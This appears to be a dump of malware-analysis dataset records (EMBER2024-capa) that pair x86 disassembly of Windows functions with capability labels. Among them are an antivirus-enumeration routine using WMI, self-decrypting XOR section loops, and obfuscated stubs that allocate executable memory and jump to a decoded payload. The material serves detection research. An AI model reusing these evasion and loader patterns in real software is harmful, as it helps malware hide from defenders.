joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea eax, [ebx + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
xor esi, esi
mov dword [ebp - 4], edi
mov byte [edi + ebx], 0
test ebx, ebx
je 0x40235b
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
sub eax, edi
mov dword [ebp - 8], eax
push str.The_Near_Earth_Object_Confirmation_Page__NEOCP__is_a_web_service_listing_recently_submitted_observations_of_objects_that_may_be_near_Earth_objects__NEOs_.
call sub.msvcrt.dll_strlen
push 0x426208
call sub.msvcrt.dll_strlen
push 0x426298
call sub.msvcrt.dll_strlen
push ebx
add edi, esi
call sub.msvcrt.dll_strlen
mov ecx, eax
xor edx, edx
mov eax, esi
div ecx
mov eax, dword [ebp - 8]
push 0x426378
mov dl, byte [edx + ebx]
xor dl, byte [eax + edi]
mov byte [edi], dl
call sub.msvcrt.dll_strlen
push 0x4263f8
call sub.msvcrt.dll_strlen
mov edi, dword [ebp - 4]
inc esi
add esp, 0x18
cmp esi, dword [ebp + 0x10]
jb 0x402302
push 0x4264d8
call sub.msvcrt.dll_strlen
push 0x426560
call sub.msvcrt.dll_strlen
push str.Nuestra_Belleza_Nuevo_Le_n_2004__was_held_at_Las_Lomas_Eventos_in_Monterrey__Nuevo_Le_n_on_July_6__2004.
call sub.msvcrt.dll_strlen
push str.At_the_conclusion_of_the_final_night_of_competition_Ana_Paola_De_la_Parra_of_San_Pedro_Garza_Garc_a_was_crowned_the_winner._De_la_Parra_was_crowned_by_outgoing_Nuestra_Belleza_Nuevo_Le_n_titleholder_Alejandra_Villanueva.
call sub.msvcrt.dll_strlen
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406320
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x40633a
mov eax, 1
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4063e8
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4063e8
push edi
push ebx
push 0xf8
push eax
lea edi, [esi + 0x40]
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x406371
mov eax, 1
pop edi
pop ebp
ret
cmp dword [edi], 0x4550
jne 0x4063e0
mov ecx, 0x10b
cmp word [esi + 0x58], cx
jne 0x4063e0
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4063e0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
mov dword [esi + 0x140], eax
call fcn.00411240
add esp, 4
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4063b7
mov eax, 3
pop edi
pop ebp
ret
movzx edx, word [esi + 0x54]
mov ecx, dword [esi + 0x3c]
lea ecx, [edx + ecx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
pop edi
pop ebp
ret
mov eax, 2
pop edi
pop ebp
ret
mov eax, 2
pop ebp
ret

Function at 0x406ae0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x406b1c
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x406b1c
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x406b1c
mov edx, dword [ebp + 0xc]
mov eax, dword [eax + ecx + 0x78]
push edx
push ecx
push eax
call fcn.00406a20
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x410e50
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4215d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x427d34
push 1
push esi
push 0x427e04
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push str.ROOTCIMV2
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
js 0x410fe5
mov ecx, dword [ebp - 0x10]
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push ecx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x18]
push ecx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
mov dword [ebp - 0x18], esi
mov edx, dword [eax]
mov edx, dword [edx + 0x50]
push 0x427298
push eax
call edx
test eax, eax
js 0x410fde
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x410ff6
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
mov eax, dword [ecx + 0x10]
call eax
cmp dword [ebp - 0x1c], esi
je 0x410ff6
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov edx, dword [edx + 0x10]
push esi
push esi
lea ecx, [ebp - 0x48]
push ecx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call edx
mov ecx, dword [ebp - 0x40]
push 1
lea eax, [ebp - 0x28]
push eax
push ecx
call fcn.00410da0
add esp, 0xc
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0xb3e4e4]
push eax
call dword [0xb3e47c]
movzx ecx, word [ebp - 0x2c]
movzx edx, word [ebp - 0x2e]
push ecx
movzx ecx, word [ebp - 0x38]
push edx
movzx edx, word [ebp - 0x36]
mov esi, eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x32]
push ecx
push edx
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0xb3e30c]
add esp, 0x20
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0040fc40
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x4272cc
jmp 0x410fea
push 0x4272d4
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0040fc40
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x411010
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4215f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x427d34
push 1
push esi
push 0x427e04
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push str.rootSecurityCenter2
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
js 0x41114b
mov ecx, dword [ebp - 0x10]
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push ecx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x18]
push ecx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
mov dword [ebp - 0x18], esi
mov edx, dword [eax]
mov edx, dword [edx + 0x50]
push 0x427348
push eax
call edx
test eax, eax
js 0x411144
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x41115c
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
mov eax, dword [ecx + 0x10]
call eax
cmp dword [ebp - 0x1c], esi
je 0x41115c
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov edx, dword [edx + 0x10]
push esi
push esi
lea ecx, [ebp - 0x30]
push ecx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.00411420
mov esi, dword [ebp + 8]
add esp, 4
push eax
mov ecx, esi
call fcn.0040fc40
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x427368
jmp 0x411150
push str.Unknown
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0040fc40
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x411b70
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
lea eax, [ebp - 0x20]
mov edx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x427389
mov word [ebp - 0x10], dx
mov dword [ebp - 6], 0x42738a
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov esp, ebp
pop ebp
ret
Function at 0x414dd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422029
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
mov esi, 2
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], esi
call fcn.0040fc30
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.0040fc30
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 4
call fcn.0040fc30
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.0040fc30
test byte [0xb3e2a8], 1
mov byte [ebp - 4], 6
jne 0x414e3b
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x54], eax
jmp 0x414e41
mov ecx, dword [ebp + 0x34]
mov dword [ebp - 0x54], ecx
lea edx, [ebp + 0x74]
push edx
lea ecx, [ebp - 0x2c]
call fcn.0040fd20
mov ecx, dword [ebp + 0x84]
mov eax, dword [ebp + 0x80]
lea edx, [ebp + 0x38]
mov dword [ebp - 0x1c], ecx
push edx
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040fd20
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040fd20
lea ecx, [ebp + 0x18]
push ecx
lea ecx, [ebp - 0x38]
call fcn.0040fd20
cmp dword [0xb3e2a8], esi
jb 0x414ea4
push 0x3e8
call dword [0xb3e324]
cmp dword [0xb3e2a8], esi
jae 0x414e91
inc dword [0xb3e2a8]
push ebx
push ebx
lea edx, [ebp - 0x54]
push edx
push 0x4138b0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x42748e
mov ecx, esi
call fcn.0040fc40
mov dword [ebp - 0x10], 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 9
call fcn.0040fcc0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 8
call fcn.0040fcc0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 7
call fcn.0040fcc0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.0040fcc0
lea ecx, [ebp + 0x38]
mov byte [ebp - 4], 0xc
call fcn.0040fcc0
lea ecx, [ebp + 0x24]
mov byte [ebp - 4], 0xb
call fcn.0040fcc0
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 0xa
call fcn.0040fcc0
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040fcc0
lea ecx, [ebp + 0x74]
mov byte [ebp - 4], bl
call fcn.0040fcc0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x416330
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422463
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x450
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x427754
lea ecx, [ebp + 0x7c]
mov dword [ebp - 4], 1
xor edi, edi
call fcn.0040fee0
push eax
call dword [0xb3e418]
test eax, eax
je 0x416378
lea edi, [ebx + 1]
push 0
push 0x427764
lea ecx, [ebp + 0x7c]
call fcn.0040fee0
push eax
call dword [0xb3e418]
test eax, eax
je 0x41639b
mov edi, 1
mov ebx, edi
jmp 0x4163a3
test edi, edi
je 0x4164b8
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [ebp - 0x74], 0
lea esi, [ebp - 0x74]
je 0x41651e
lea esp, [esp]
push 0x3e8
lea ecx, [ebp - 0x45c]
push 0
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test ebx, ebx
je 0x416404
cmp eax, 2
jne 0x416404
lea ecx, [ebp + 0x7c]
call fcn.0040fee0
push eax
lea edx, [ebp - 0x45c]
push edx
call dword [0xb3e528]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x416420
lea ecx, [ebp + 0x7c]
call fcn.0040fee0
push eax
lea edx, [ebp - 0x45c]
push edx
call dword [0xb3e528]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
push eax
call fcn.00411690
add esp, 0xc
push eax
lea ecx, [ebp - 0x45c]
push ecx
call dword [0xb3e528]
mov edx, dword [ebp + 0xa0]
mov eax, dword [ebp + 0x98]
mov ecx, dword [ebp + 0x94]
push 0
push edx
push edi
push eax
push 0
push ecx
lea ecx, [ebp + 0x88]
call fcn.0040fee0
push eax
lea edx, [ebp - 0x45c]
push edx
lea ecx, [ebp + 0x70]
call fcn.0040fee0
push eax
push 0x427452
lea ecx, [ebp + 0xa4]
call fcn.0040fee0
push eax
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401130
call fcn.00415ec0
add esp, 0x94
push esi
call dword [0xb3e3a0]
cmp byte [esi + eax + 1], 0
lea esi, [esi + eax + 1]
jne 0x4163c0
jmp 0x41651e
mov ecx, dword [ebp + 0xa0]
mov edx, dword [ebp + 0x98]
mov eax, dword [ebp + 0x94]
push 0
push ecx
push 0
push edx
push 0
push eax
lea ecx, [ebp + 0x88]
call fcn.0040fee0
push eax
lea ecx, [ebp + 0x7c]
call fcn.0040fee0
push eax
lea ecx, [ebp + 0x70]
call fcn.0040fee0
push eax
push 0x427453
lea ecx, [ebp + 0xa4]
call fcn.0040fee0
push eax
sub esp, 0x68
lea edx, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push edx
call fcn.00401130
call fcn.00415ec0
add esp, 0x94
mov eax, dword [ebp + 0xb0]
mov dword [eax], 0
lea ecx, [ebp + 0x34]
mov byte [ebp - 4], 0xa
call fcn.0040fcc0
lea ecx, [ebp + 0x20]
mov byte [ebp - 4], 9
call fcn.0040fcc0
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 8
call fcn.0040fcc0
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0
call fcn.0040fcc0
lea ecx, [ebp + 0xa4]
mov dword [ebp - 4], 0xd
call fcn.0040fcc0
lea ecx, [ebp + 0x88]
mov byte [ebp - 4], 0xc
call fcn.0040fcc0
lea ecx, [ebp + 0x7c]
mov byte [ebp - 4], 0xb
call fcn.0040fcc0
lea ecx, [ebp + 0x70]
mov dword [ebp - 4], 0xffffffff
call fcn.0040fcc0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b6d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x92c520]
jne 0x41b6e3
repz ret
jmp fcn.0041e3cf

Function at 0x41eba6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x92c520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041affc
and dword [ebp - 0x14], 0
cmp dword [0xb3f0fc], 0
mov dword [ebp - 0x18], eax
jne 0x41ec59
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ed01
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41ed01
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0xb3f0fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0xb3f100], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0xb3f104], eax
call edi
push eax
call esi
mov dword [0xb3f10c], eax
test eax, eax
je 0x41ec59
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0xb3f108], eax
mov eax, dword [0xb3f108]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41ecb2
cmp dword [0xb3f10c], ecx
je 0x41ecb2
push eax
call esi
push dword [0xb3f10c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41ecb2
test ebx, ebx
je 0x41ecb2
call edi
test eax, eax
je 0x41eca9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41eca9
test byte [ebp - 8], 1
jne 0x41ecb2
or dword [ebp + 0x10], 0x200000
jmp 0x41ece5
mov eax, dword [0xb3f100]
cmp eax, dword [ebp - 0x18]
je 0x41ece5
push eax
call esi
test eax, eax
je 0x41ece5
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41ece5
mov eax, dword [0xb3f104]
cmp eax, dword [ebp - 0x18]
je 0x41ece5
push eax
call esi
test eax, eax
je 0x41ece5
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0xb3f0fc]
call esi
test eax, eax
je 0x41ed01
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ed03
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b6d9
leave
ret
Function at 0x433005
Capabilities:
Encode data using xor

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x8a56e70
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0xabb7325
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10007fbe
pop dword [ebp - 0x38]
mov eax, 0xc379be03
sub eax, 0xb3793e45
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x6fdd27a0
add dword [ebp - 0x48], 0xde751dab
mov dword [ebp - 0x44], 0xfd59509f
add dword [ebp - 0x44], 0x34d9fba6
mov dword [ebp - 0x40], 0x338b489e
add dword [ebp - 0x40], 0x18c0fb90
mov dword [ebp - 0x3c], 0xad8c7709
sub dword [ebp - 0x3c], 0xad8c7709
lea eax, [ebp - 0x48]
push eax
mov eax, 0xb00a3038
sub eax, 0xa0086fb8
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x3a4328ab
add dword [ebp - 0x48], 0x3a2f40ab
mov dword [ebp - 0x44], 0xa167fdde
add dword [ebp - 0x44], 0xa0046397
mov dword [ebp - 0x40], 0xc126469
add dword [ebp - 0x40], 0x575d0803
mov dword [ebp - 0x3c], 0xecdb411d
add dword [ebp - 0x3c], 0x1324bee3
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x68854066
add eax, 0xa77c7f9a
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x381bb
push 0
call eax
mov ecx, 0x4a72
xor edi, edi
add edi, eax
mov ebx, 0xddbace1c
sub ebx, 0xcdb8661c
add ebx, dword [ebp - 0x38]
mov edx, 0x898b06ea
add dword [ebp - 4], 0xcc8c7bf9
mov esi, dword [ebx]
mov dword [ebp - 0x18], 0x5ff6674f
xor esi, edx
xor dword [ebp - 0x14], 0x96d97c15
mov dword [edi], esi
mov dword [ebp - 0x14], 0x4f75df1b
add edi, 0x899ee1c2
sub edi, 0x899ee1be
add ebx, 4
loop 0x100080d6
add eax, 0x11c9b
xor ebx, ebx
add ebx, eax
add eax, 0xe919e6b0
sub eax, 0xe919e6ab
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x32001866
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3205cfc4]
jne 0x32001870
repz ret
jmp fcn.32043968

Function at 0x3201a1eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x3201a1fa
pop dword [ebp - 0x40]
mov eax, 0x933a027c
sub eax, 0x61386082
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x61d276e
add dword [ebp - 0x50], 0x48351ddd
mov dword [ebp - 0x4c], 0x45373bfa
add dword [ebp - 0x4c], 0xecfc104b
mov dword [ebp - 0x48], 0x2f169a98
sub dword [ebp - 0x48], 0xe2ca566a
mov dword [ebp - 0x44], 0x820d059b
sub dword [ebp - 0x44], 0x820d059b
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x8cfb6768
sub dword [ebp - 0x50], 0x1888fe12
mov dword [ebp - 0x4c], 0xec1e51ae
add dword [ebp - 0x4c], 0x554e0fc7
mov dword [ebp - 0x48], 0x2f99847d
add dword [ebp - 0x48], 0x33d5e7ef
mov dword [ebp - 0x44], 0x32df2675
sub dword [ebp - 0x44], 0x32df2675
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x45cdd
push 0
call eax
mov ecx, 0x17c7e08a
add ecx, 0xe838649d
mov ebx, eax
mov edx, 0x8605002b
sub edx, 0x53fe022b
add edx, dword [ebp - 0x40]
mov edi, 0xfd67e9a
add dword [ebp - 0x20], eax
mov esi, dword [edx]
sub dword [ebp - 0x3c], edi
add esi, edi
sub dword [ebp - 0x20], 0xe62bc1cb
mov dword [ebx], esi
xor dword [ebp - 0x10], eax
add ebx, 4
add edx, 4
loop 0x3201a30c
add eax, 0x1076f
xor ebx, ebx
add ebx, eax
add eax, 0x156c6de7
add eax, 0xea93921e
mov ecx, 0x721d9996
sub ecx, 0x401d9996
add ecx, dword [ebp - 0x40]
call ebx
leave
ret